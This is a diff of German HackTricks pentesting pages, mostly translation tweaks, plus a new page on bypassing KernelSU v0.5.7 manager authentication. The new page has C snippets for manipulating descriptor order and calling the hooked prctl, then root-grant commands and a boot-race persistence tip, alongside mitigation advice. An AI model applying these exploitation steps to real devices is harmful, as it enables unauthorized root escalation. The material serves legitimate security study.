Wenn Sie wissen, **woher** ein Python-Skript ausgeführt wird und Sie **in diesen Ordner schreiben können** oder **Python-Bibliotheken modifizieren können**, können Sie die OS-Bibliothek modifizieren und mit einem Backdoor versehen (wenn Sie dort schreiben können, wo das Python-Skript ausgeführt wird, kopieren und fügen Sie die os.py-Bibliothek ein).
|
||||
Wenn Sie wissen, **woher** ein Python-Skript ausgeführt wird und Sie **in diesen Ordner schreiben können** oder **Python-Bibliotheken modifizieren können**, können Sie die OS-Bibliothek modifizieren und einen Backdoor einfügen (wenn Sie dort schreiben können, wo das Python-Skript ausgeführt wird, kopieren und fügen Sie die os.py-Bibliothek ein).
|
||||
|
||||
Um **die Bibliothek zu backdooren**, fügen Sie einfach am Ende der os.py-Bibliothek die folgende Zeile hinzu (ändern Sie IP und PORT):
|
||||
```python
|
||||
@ -1360,7 +1360,7 @@ Das Verzeichnis `/etc/init.d` ist die Heimat von **Skripten** für System V init
|
||||
|
||||
Andererseits ist `/etc/init` mit **Upstart** verbunden, einer neueren **Dienstverwaltung**, die von Ubuntu eingeführt wurde und Konfigurationsdateien für Dienstverwaltungsaufgaben verwendet. Trotz des Übergangs zu Upstart werden SysVinit-Skripte weiterhin zusammen mit Upstart-Konfigurationen aufgrund einer Kompatibilitätsschicht in Upstart verwendet.
|
||||
|
||||
**systemd** tritt als modernes Initialisierungs- und Dienstverwaltungssystem auf und bietet erweiterte Funktionen wie das Starten von Daemons nach Bedarf, Automount-Verwaltung und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Verteilungspakete und `/etc/systemd/system/` für Administratoränderungen, was den Prozess der Systemadministration optimiert.
|
||||
**systemd** tritt als moderner Initialisierungs- und Dienstmanager auf und bietet erweiterte Funktionen wie das Starten von Daemons nach Bedarf, Automount-Verwaltung und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Verteilungspakete und `/etc/systemd/system/` für Administratoränderungen, was den Prozess der Systemadministration optimiert.
|
||||
|
||||
## Weitere Tricks
|
||||
|
||||
@ -1393,7 +1393,7 @@ cisco-vmanage.md
|
||||
|
||||
## Linux/Unix Privesc-Tools
|
||||
|
||||
### **Bestes Tool zur Suche nach lokalen Privilegieneskalationsvektoren in Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
### **Das beste Tool zur Suche nach lokalen Privilegieneskalationsvektoren in Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t Option)\
|
||||
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
|
||||
@ -1403,7 +1403,7 @@ cisco-vmanage.md
|
||||
**Kernelpop:** Enumeriert Kernel-Schwachstellen in Linux und MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
|
||||
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**EvilAbigail (physischer Zugang):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**EvilAbigail (physischer Zugriff):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**Zusammenstellung weiterer Skripte**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
|
||||
## Referenzen
|
||||
@ -1426,4 +1426,12 @@ cisco-vmanage.md
|
||||
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||||
|
||||
## Android-Routing-Frameworks: Missbrauch des Manager-Kanals
|
||||
|
||||
Android-Routing-Frameworks binden häufig einen Syscall, um privilegierte Kernel-Funktionalitäten einem Userspace-Manager zugänglich zu machen. Schwache Manager-Authentifizierung (z. B. Signaturprüfungen basierend auf FD-Reihenfolge oder schwachen Passwortschemata) kann es einer lokalen App ermöglichen, sich als Manager auszugeben und auf bereits gerooteten Geräten zu rooten. Erfahren Sie hier mehr und Details zur Ausnutzung:
|
||||
|
||||
{{#ref}}
|
||||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,190 @@
|
||||
# Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Rooting-Frameworks wie KernelSU, APatch, SKRoot und Magisk patchen häufig den Linux/Android-Kernel und exponieren privilegierte Funktionen für eine unprivilegierte Userspace "Manager"-App über einen gehookten Syscall. Wenn der Authentifizierungsschritt des Managers fehlerhaft ist, kann jede lokale App diesen Kanal erreichen und Privilegien auf bereits gerooteten Geräten eskalieren.
|
||||
|
||||
Diese Seite abstrahiert die Techniken und Fallstricke, die in öffentlichen Forschungen (insbesondere Zimperiums Analyse von KernelSU v0.5.7) aufgedeckt wurden, um sowohl roten als auch blauen Teams zu helfen, Angriffsflächen, Ausbeutungsprimitive und robuste Milderungen zu verstehen.
|
||||
|
||||
---
|
||||
## Architektur-Muster: syscall-gehookter Manager-Kanal
|
||||
|
||||
- Kernel-Modul/Patch hookt einen Syscall (gewöhnlich prctl), um "Befehle" aus dem Userspace zu empfangen.
|
||||
- Das Protokoll ist typischerweise: magic_value, command_id, arg_ptr/len ...
|
||||
- Eine Userspace-Manager-App authentifiziert sich zuerst (z.B. CMD_BECOME_MANAGER). Sobald der Kernel den Aufrufer als vertrauenswürdigen Manager markiert, werden privilegierte Befehle akzeptiert:
|
||||
- Gewähre Root-Rechte an den Aufrufer (z.B. CMD_GRANT_ROOT)
|
||||
- Verwalte Allowlisten/Blocklisten für su
|
||||
- Passe die SELinux-Richtlinie an (z.B. CMD_SET_SEPOLICY)
|
||||
- Abfrage von Version/Konfiguration
|
||||
- Da jede App Syscalls aufrufen kann, ist die Korrektheit der Manager-Authentifizierung entscheidend.
|
||||
|
||||
Beispiel (KernelSU-Design):
|
||||
- Gehookter Syscall: prctl
|
||||
- Magic-Wert zur Umleitung zum KernelSU-Handler: 0xDEADBEEF
|
||||
- Befehle umfassen: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT usw.
|
||||
|
||||
---
|
||||
## KernelSU v0.5.7 Authentifizierungsfluss (wie implementiert)
|
||||
|
||||
Wenn der Userspace prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...) aufruft, überprüft KernelSU:
|
||||
|
||||
1) Pfadpräfixprüfung
|
||||
- Der angegebene Pfad muss mit einem erwarteten Präfix für die UID des Aufrufers beginnen, z.B. /data/data/<pkg> oder /data/user/<id>/<pkg>.
|
||||
- Referenz: core_hook.c (v0.5.7) Pfadpräfix-Logik.
|
||||
|
||||
2) Eigentumsprüfung
|
||||
- Der Pfad muss im Besitz der UID des Aufrufers sein.
|
||||
- Referenz: core_hook.c (v0.5.7) Eigentumslogik.
|
||||
|
||||
3) APK-Signaturprüfung über FD-Tabellenscan
|
||||
- Iteriere über die offenen Dateideskriptoren (FDs) des aufrufenden Prozesses.
|
||||
- Wähle die erste Datei, deren Pfad mit /data/app/*/base.apk übereinstimmt.
|
||||
- Analysiere die APK v2-Signatur und verifiziere sie gegen das offizielle Manager-Zertifikat.
|
||||
- Referenzen: manager.c (Iterieren über FDs), apk_sign.c (APK v2-Verifizierung).
|
||||
|
||||
Wenn alle Prüfungen bestanden werden, speichert der Kernel die UID des Managers vorübergehend und akzeptiert privilegierte Befehle von dieser UID bis zum Reset.
|
||||
|
||||
---
|
||||
## Schwachstellenklasse: Vertrauen in "die erste übereinstimmende APK" aus der FD-Iteration
|
||||
|
||||
Wenn die Signaturprüfung an "der ersten übereinstimmenden /data/app/*/base.apk" bindet, die in der FD-Tabelle des Prozesses gefunden wird, wird tatsächlich nicht das eigene Paket des Aufrufers verifiziert. Ein Angreifer kann eine legitim signierte APK (die echte des Managers) vorpositionieren, sodass sie früher in der FD-Liste erscheint als die eigene base.apk.
|
||||
|
||||
Dieses Vertrauen durch Indirektion ermöglicht es einer unprivilegierten App, den Manager zu impersonieren, ohne den Signing-Key des Managers zu besitzen.
|
||||
|
||||
Ausgenutzte Schlüsselfunktionen:
|
||||
- Der FD-Scan bindet nicht an die Paketidentität des Aufrufers; er vergleicht nur Pfadstrings.
|
||||
- open() gibt den niedrigsten verfügbaren FD zurück. Indem ein Angreifer zuerst niedrigere FDs schließt, kann er die Reihenfolge kontrollieren.
|
||||
- Der Filter überprüft nur, dass der Pfad mit /data/app/*/base.apk übereinstimmt – nicht, dass er dem installierten Paket des Aufrufers entspricht.
|
||||
|
||||
---
|
||||
## Angriffsbedingungen
|
||||
|
||||
- Das Gerät ist bereits mit einem verwundbaren Rooting-Framework (z.B. KernelSU v0.5.7) gerootet.
|
||||
- Der Angreifer kann lokal beliebigen unprivilegierten Code ausführen (Android-App-Prozess).
|
||||
- Der echte Manager hat sich noch nicht authentifiziert (z.B. direkt nach einem Neustart). Einige Frameworks cachen die UID des Managers nach dem Erfolg; man muss das Rennen gewinnen.
|
||||
|
||||
---
|
||||
## Ausbeutungsübersicht (KernelSU v0.5.7)
|
||||
|
||||
Hochrangige Schritte:
|
||||
1) Baue einen gültigen Pfad zu deinem eigenen App-Datenverzeichnis, um die Präfix- und Eigentumsprüfungen zu erfüllen.
|
||||
2) Stelle sicher, dass eine echte KernelSU Manager base.apk auf einem niedriger nummerierten FD geöffnet ist als deine eigene base.apk.
|
||||
3) Rufe prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) auf, um die Prüfungen zu bestehen.
|
||||
4) Gebe privilegierte Befehle wie CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY aus, um die Erhöhung beizubehalten.
|
||||
|
||||
Praktische Hinweise zu Schritt 2 (FD-Reihenfolge):
|
||||
- Identifiziere den FD deines Prozesses für deine eigene /data/app/*/base.apk, indem du die /proc/self/fd Symlinks durchgehst.
|
||||
- Schließe einen niedrigen FD (z.B. stdin, fd 0) und öffne zuerst die legitime Manager-APK, damit sie fd 0 (oder einen Index niedriger als dein eigener base.apk fd) belegt.
|
||||
- Bunde die legitime Manager-APK mit deiner App, sodass ihr Pfad den naiven Filter des Kernels erfüllt. Zum Beispiel, platziere sie unter einem Unterpfad, der mit /data/app/*/base.apk übereinstimmt.
|
||||
|
||||
Beispielcode-Snippets (Android/Linux, nur illustrativ):
|
||||
|
||||
Enumeriere offene FDs, um base.apk-Einträge zu lokalisieren:
|
||||
```c
|
||||
#include <dirent.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
int find_first_baseapk_fd(char out_path[PATH_MAX]) {
|
||||
DIR *d = opendir("/proc/self/fd");
|
||||
if (!d) return -1;
|
||||
struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
|
||||
int best_fd = -1;
|
||||
while ((e = readdir(d))) {
|
||||
if (e->d_name[0] == '.') continue;
|
||||
int fd = atoi(e->d_name);
|
||||
snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
|
||||
ssize_t n = readlink(link, p, sizeof(p)-1);
|
||||
if (n <= 0) continue; p[n] = '\0';
|
||||
if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
|
||||
if (best_fd < 0 || fd < best_fd) {
|
||||
best_fd = fd; strncpy(out_path, p, PATH_MAX);
|
||||
}
|
||||
}
|
||||
}
|
||||
closedir(d);
|
||||
return best_fd; // First (lowest) matching fd
|
||||
}
|
||||
```
|
||||
Zwingen Sie eine niedriger nummerierte FD, auf die legitime Manager-APK zu zeigen:
|
||||
```c
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void preopen_legit_manager_lowfd(const char *legit_apk_path) {
|
||||
// Reuse stdin (fd 0) if possible so the next open() returns 0
|
||||
close(0);
|
||||
int fd = open(legit_apk_path, O_RDONLY);
|
||||
(void)fd; // fd should now be 0 if available
|
||||
}
|
||||
```
|
||||
Manager-Authentifizierung über prctl-Hook:
|
||||
```c
|
||||
#include <sys/prctl.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define KSU_MAGIC 0xDEADBEEF
|
||||
#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific
|
||||
|
||||
static inline long ksu_call(unsigned long cmd, unsigned long arg2,
|
||||
unsigned long arg3, unsigned long arg4) {
|
||||
return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);
|
||||
}
|
||||
|
||||
int become_manager(const char *my_data_dir) {
|
||||
long result = -1;
|
||||
// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr
|
||||
result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
|
||||
return (int)result;
|
||||
}
|
||||
```
|
||||
Nach dem Erfolg, privilegierte Befehle (Beispiele):
|
||||
- CMD_GRANT_ROOT: aktuellen Prozess zu root befördern
|
||||
- CMD_ALLOW_SU: Ihr Paket/UID zur Erlaubenliste für persistentes su hinzufügen
|
||||
- CMD_SET_SEPOLICY: SELinux-Richtlinie anpassen, wie vom Framework unterstützt
|
||||
|
||||
Renn-/Persistenz-Tipp:
|
||||
- Registrieren Sie einen BOOT_COMPLETED-Empfänger in AndroidManifest (RECEIVE_BOOT_COMPLETED), um früh nach dem Neustart zu starten und die Authentifizierung vor dem echten Manager zu versuchen.
|
||||
|
||||
---
|
||||
## Erkennungs- und Minderungshinweise
|
||||
|
||||
Für Framework-Entwickler:
|
||||
- Binden Sie die Authentifizierung an das Paket/UID des Aufrufers, nicht an beliebige FDs:
|
||||
- Bestimmen Sie das Paket des Aufrufers anhand seiner UID und überprüfen Sie es gegen die Signatur des installierten Pakets (über PackageManager), anstatt FDs zu scannen.
|
||||
- Wenn nur im Kernel, verwenden Sie eine stabile Aufruferidentität (Task-Credentials) und validieren Sie auf einer stabilen Quelle der Wahrheit, die von init/userspace-Helfer verwaltet wird, nicht auf Prozess-FDs.
|
||||
- Vermeiden Sie Pfad-Präfixprüfungen als Identität; sie sind für den Aufrufer trivial erfüllbar.
|
||||
- Verwenden Sie nonce-basierte Challenge-Response über den Kanal und löschen Sie alle zwischengespeicherten Manager-Identitäten beim Booten oder bei wichtigen Ereignissen.
|
||||
- Ziehen Sie binder-basierte authentifizierte IPC in Betracht, anstatt generische Syscalls zu überlasten, wenn möglich.
|
||||
|
||||
Für Verteidiger/Blau-Team:
|
||||
- Erkennen Sie die Anwesenheit von Rooting-Frameworks und Manager-Prozessen; überwachen Sie prctl-Aufrufe mit verdächtigen magischen Konstanten (z. B. 0xDEADBEEF), wenn Sie Kernel-Telemetrie haben.
|
||||
- Bei verwalteten Flotten blockieren oder alarmieren Sie über Boot-Empfänger von nicht vertrauenswürdigen Paketen, die schnell versuchen, privilegierte Manager-Befehle nach dem Booten auszuführen.
|
||||
- Stellen Sie sicher, dass Geräte auf gepatchte Framework-Versionen aktualisiert werden; ungültig machen von zwischengespeicherten Manager-IDs bei Updates.
|
||||
|
||||
Einschränkungen des Angriffs:
|
||||
- Betrifft nur Geräte, die bereits mit einem verwundbaren Framework gerootet sind.
|
||||
- Erfordert typischerweise einen Neustart/Rennfenster, bevor der legitime Manager authentifiziert (einige Frameworks speichern die Manager-UID bis zum Zurücksetzen).
|
||||
|
||||
---
|
||||
## Verwandte Hinweise zu Frameworks
|
||||
|
||||
- Passwortbasierte Authentifizierung (z. B. historische APatch/SKRoot-Bauten) kann schwach sein, wenn Passwörter erratbar/bruteforcebar sind oder Validierungen fehlerhaft sind.
|
||||
- Paket-/Signaturbasierte Authentifizierung (z. B. KernelSU) ist prinzipiell stärker, muss jedoch an den tatsächlichen Aufrufer gebunden sein, nicht an indirekte Artefakte wie FD-Scans.
|
||||
- Magisk: CVE-2024-48336 (MagiskEoP) zeigte, dass selbst reife Ökosysteme anfällig für Identitätsfälschung sind, die zu Codeausführung mit Root im Manager-Kontext führen.
|
||||
|
||||
---
|
||||
## Referenzen
|
||||
|
||||
- [Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device)
|
||||
- [KernelSU v0.5.7 – core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193)
|
||||
- [KernelSU v0.5.7 – manager.c FD iteration/signature check (L43+)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/manager.c#L43)
|
||||
- [KernelSU – apk_sign.c APK v2 verification (main)](https://github.com/tiann/KernelSU/blob/main/kernel/apk_sign.c#L319)
|
||||
- [KernelSU project](https://kernelsu.org/)
|
||||
- [APatch](https://github.com/bmax121/APatch)
|
||||
- [SKRoot](https://github.com/abcz316/SKRoot-linuxKernelRoot)
|
||||
- [MagiskEoP – CVE-2024-48336](https://github.com/canyie/MagiskEoP)
|
||||
- [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Grundlagen der Android-Anwendungen
|
||||
|
||||
Es wird dringend empfohlen, diese Seite zu lesen, um die **wichtigsten Teile im Zusammenhang mit der Android-Sicherheit und die gefährlichsten Komponenten in einer Android-Anwendung** zu kennen:
|
||||
Es wird dringend empfohlen, diese Seite zu lesen, um die **wichtigsten Teile in Bezug auf die Android-Sicherheit und die gefährlichsten Komponenten in einer Android-Anwendung** zu kennen:
|
||||
|
||||
{{#ref}}
|
||||
android-applications-basics.md
|
||||
@ -19,8 +19,8 @@ Werfen Sie einen Blick auf die folgende Liste von [**ADB-Befehlen**](adb-command
|
||||
|
||||
## Smali
|
||||
|
||||
Manchmal ist es interessant, den **Anwendungscode zu ändern**, um auf **versteckte Informationen** (vielleicht gut obfuskierte Passwörter oder Flags) zuzugreifen. Dann könnte es interessant sein, die apk zu dekompilieren, den Code zu ändern und sie neu zu kompilieren.\
|
||||
[**In diesem Tutorial** können Sie **lernen, wie man eine APK dekompiliert, Smali-Code ändert und die APK** mit der neuen Funktionalität **neu kompiliert**](smali-changes.md). Dies könnte als **Alternative für mehrere Tests während der dynamischen Analyse** sehr nützlich sein, die präsentiert werden. Denken Sie daran, **diese Möglichkeit immer im Hinterkopf zu behalten**.
|
||||
Manchmal ist es interessant, den **Anwendungscode zu ändern**, um auf **versteckte Informationen** (vielleicht gut obfuskierte Passwörter oder Flags) zuzugreifen. Dann könnte es interessant sein, die APK zu dekompilieren, den Code zu ändern und sie neu zu kompilieren.\
|
||||
[**In diesem Tutorial** können Sie **lernen, wie man eine APK dekompiliert, Smali-Code ändert und die APK** mit der neuen Funktionalität **neu kompiliert**](smali-changes.md). Dies könnte sehr nützlich sein als **Alternative für mehrere Tests während der dynamischen Analyse**, die präsentiert werden. Denken Sie daran, **diese Möglichkeit immer im Hinterkopf zu behalten**.
|
||||
|
||||
## Weitere interessante Tricks
|
||||
|
||||
@ -54,14 +54,18 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
../ios-pentesting/air-keyboard-remote-input-injection.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
|
||||
## Statische Analyse
|
||||
|
||||
Zunächst sollten Sie **einen Blick auf den Java-Code** werfen, indem Sie einen Decompiler verwenden.\
|
||||
Bitte, [**lesen Sie hier, um Informationen über verschiedene verfügbare Decompiler zu finden**](apk-decompilers.md).
|
||||
|
||||
### Auf der Suche nach interessanten Informationen
|
||||
### Suche nach interessanten Informationen
|
||||
|
||||
Wenn Sie sich die **Strings** der APK ansehen, können Sie nach **Passwörtern**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API**-Schlüsseln, **Verschlüsselung**, **Bluetooth UUIDs**, **Tokens** und allem Interessanten suchen... suchen Sie sogar nach Codeausführungs-**Backdoors** oder Authentifizierungs-Backdoors (hardcodierte Admin-Anmeldeinformationen für die App).
|
||||
Durch einen Blick auf die **Strings** der APK können Sie nach **Passwörtern**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API**-Schlüsseln, **Verschlüsselung**, **Bluetooth UUIDs**, **Tokens** und allem Interessanten suchen... suchen Sie sogar nach Codeausführungs-**Backdoors** oder Authentifizierungs-Backdoors (hardcodierte Admin-Anmeldeinformationen für die App).
|
||||
|
||||
**Firebase**
|
||||
|
||||
@ -75,8 +79,8 @@ Die **Untersuchung der _Manifest.xml_ und _strings.xml_**-Dateien einer Anwendun
|
||||
|
||||
- **Debuggable Anwendungen**: Anwendungen, die im _Manifest.xml_ als debuggable (`debuggable="true"`) festgelegt sind, stellen ein Risiko dar, da sie Verbindungen zulassen, die zu einer Ausnutzung führen können. Für ein besseres Verständnis, wie man debuggable Anwendungen ausnutzt, verweisen Sie auf ein Tutorial zum Finden und Ausnutzen von debuggable Anwendungen auf einem Gerät.
|
||||
- **Backup-Einstellungen**: Das Attribut `android:allowBackup="false"` sollte ausdrücklich für Anwendungen, die mit sensiblen Informationen umgehen, festgelegt werden, um unbefugte Datenbackups über adb zu verhindern, insbesondere wenn USB-Debugging aktiviert ist.
|
||||
- **Netzwerksicherheit**: Benutzerdefinierte Netzwerksicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Zertifikatspinning und HTTP-Verkehrseinstellungen spezifizieren. Ein Beispiel ist das Zulassen von HTTP-Verkehr für bestimmte Domains.
|
||||
- **Exportierte Aktivitäten und Dienste**: Das Identifizieren exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Testens kann aufzeigen, wie man diese Komponenten ausnutzen kann.
|
||||
- **Netzwerksicherheit**: Benutzerdefinierte Netzwerksicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Zertifikat-Pins und HTTP-Verkehrseinstellungen spezifizieren. Ein Beispiel ist das Zulassen von HTTP-Verkehr für bestimmte Domains.
|
||||
- **Exportierte Aktivitäten und Dienste**: Die Identifizierung exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Testens kann aufzeigen, wie man diese Komponenten ausnutzt.
|
||||
- **Content Provider und FileProviders**: Exponierte Content Provider könnten unbefugten Zugriff oder Modifikationen von Daten ermöglichen. Die Konfiguration von FileProviders sollte ebenfalls überprüft werden.
|
||||
- **Broadcast-Empfänger und URL-Schemata**: Diese Komponenten könnten für Ausnutzungen verwendet werden, wobei besonderes Augenmerk darauf gelegt werden sollte, wie URL-Schemata für Eingabeschwachstellen verwaltet werden.
|
||||
- **SDK-Versionen**: Die Attribute `minSdkVersion`, `targetSDKVersion` und `maxSdkVersion` geben die unterstützten Android-Versionen an und heben die Bedeutung hervor, veraltete, anfällige Android-Versionen aus Sicherheitsgründen nicht zu unterstützen.
|
||||
@ -85,8 +89,8 @@ Aus der **strings.xml**-Datei können sensible Informationen wie API-Schlüssel,
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** ist ein Angriff, bei dem eine **bösartige** **Anwendung** gestartet wird und sich **oberhalb einer Opferanwendung positioniert**. Sobald sie die Opfer-App sichtbar verdeckt, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie die Interaktion an die Opfer-App weiterleitet.\
|
||||
In der Tat **blendet es den Benutzer aus, sodass er nicht weiß, dass er tatsächlich Aktionen in der Opfer-App ausführt**.
|
||||
**Tapjacking** ist ein Angriff, bei dem eine **bösartige** **Anwendung** gestartet wird und sich **oberhalb einer Opferanwendung positioniert**. Sobald sie die Opferanwendung sichtbar verdeckt, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie die Interaktion an die Opferanwendung weiterleitet.\
|
||||
In der Tat **blindet es den Benutzer, sodass er nicht weiß, dass er tatsächlich Aktionen in der Opferanwendung ausführt**.
|
||||
|
||||
Weitere Informationen finden Sie in:
|
||||
|
||||
@ -96,7 +100,7 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
Eine **Aktivität**, deren **`launchMode`** auf **`singleTask`** ohne definierte `taskAffinity` gesetzt ist, ist anfällig für Task Hijacking. Das bedeutet, dass eine **Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, **die Aufgabe der echten Anwendung übernehmen könnte** (sodass der Benutzer mit der **bösartigen Anwendung interagiert, während er denkt, er benutze die echte**).
|
||||
Eine **Aktivität**, bei der der **`launchMode`** auf **`singleTask`** ohne definierte `taskAffinity` gesetzt ist, ist anfällig für Task Hijacking. Das bedeutet, dass eine **Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, die **Aufgabe der echten Anwendung übernehmen** könnte (sodass der Benutzer mit der **bösartigen Anwendung interagiert, während er denkt, er verwendet die echte**).
|
||||
|
||||
Weitere Informationen finden Sie in:
|
||||
|
||||
@ -111,7 +115,7 @@ android-task-hijacking.md
|
||||
In Android sind Dateien, die im **internen** Speicher **gespeichert** werden, **so konzipiert**, dass sie **ausschließlich** von der **App**, die sie **erstellt** hat, **zugänglich** sind. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem **durchgesetzt** und ist im Allgemeinen ausreichend für die Sicherheitsbedürfnisse der meisten Anwendungen. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um **Dateien** zwischen verschiedenen Anwendungen **zu teilen**. Diese Modi **beschränken jedoch nicht den Zugriff** auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger.
|
||||
|
||||
1. **Statische Analyse:**
|
||||
- **Stellen Sie sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **sorgfältig überprüft** wird. Diese Modi **könnten potenziell** Dateien **unbeabsichtigtem oder unbefugtem Zugriff** aussetzen.
|
||||
- **Stellen Sie sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **sorgfältig geprüft** wird. Diese Modi **könnten potenziell** Dateien **unbeabsichtigtem oder unbefugtem Zugriff** aussetzen.
|
||||
2. **Dynamische Analyse:**
|
||||
- **Überprüfen** Sie die **Berechtigungen**, die auf Dateien gesetzt sind, die von der App erstellt wurden. Überprüfen Sie insbesondere, ob Dateien **so eingestellt sind, dass sie weltweit lesbar oder schreibbar sind**. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder Anwendung**, die auf dem Gerät installiert ist, unabhängig von ihrer Herkunft oder Absicht, **ermöglicht, diese Dateien zu lesen oder zu modifizieren**.
|
||||
|
||||
@ -122,7 +126,7 @@ Beim Umgang mit Dateien auf **externem Speicher**, wie SD-Karten, sollten bestim
|
||||
1. **Zugänglichkeit**:
|
||||
- Dateien auf externem Speicher sind **global lesbar und schreibbar**. Das bedeutet, dass jede Anwendung oder jeder Benutzer auf diese Dateien zugreifen kann.
|
||||
2. **Sicherheitsbedenken**:
|
||||
- Angesichts des einfachen Zugriffs wird geraten, **keine sensiblen Informationen** auf externem Speicher zu speichern.
|
||||
- Angesichts der einfachen Zugänglichkeit wird geraten, **keine sensiblen Informationen** auf externem Speicher zu speichern.
|
||||
- Externer Speicher kann entfernt oder von jeder Anwendung zugegriffen werden, was ihn weniger sicher macht.
|
||||
3. **Umgang mit Daten vom externen Speicher**:
|
||||
- Führen Sie immer **Eingangsvalidierungen** für Daten durch, die vom externen Speicher abgerufen werden. Dies ist entscheidend, da die Daten aus einer nicht vertrauenswürdigen Quelle stammen.
|
||||
@ -131,8 +135,8 @@ Beim Umgang mit Dateien auf **externem Speicher**, wie SD-Karten, sollten bestim
|
||||
|
||||
Externer Speicher kann in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` **zugegriffen** werden.
|
||||
|
||||
> [!TIP]
|
||||
> Seit Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, einschränkt**. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen App erhalten.
|
||||
> [!TIPP]
|
||||
> Seit Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, einschränkt**. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen Anwendung erhalten.
|
||||
|
||||
**Sensible Daten im Klartext gespeichert**
|
||||
|
||||
@ -148,25 +152,25 @@ Aus irgendeinem Grund akzeptieren Entwickler manchmal alle Zertifikate, selbst w
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
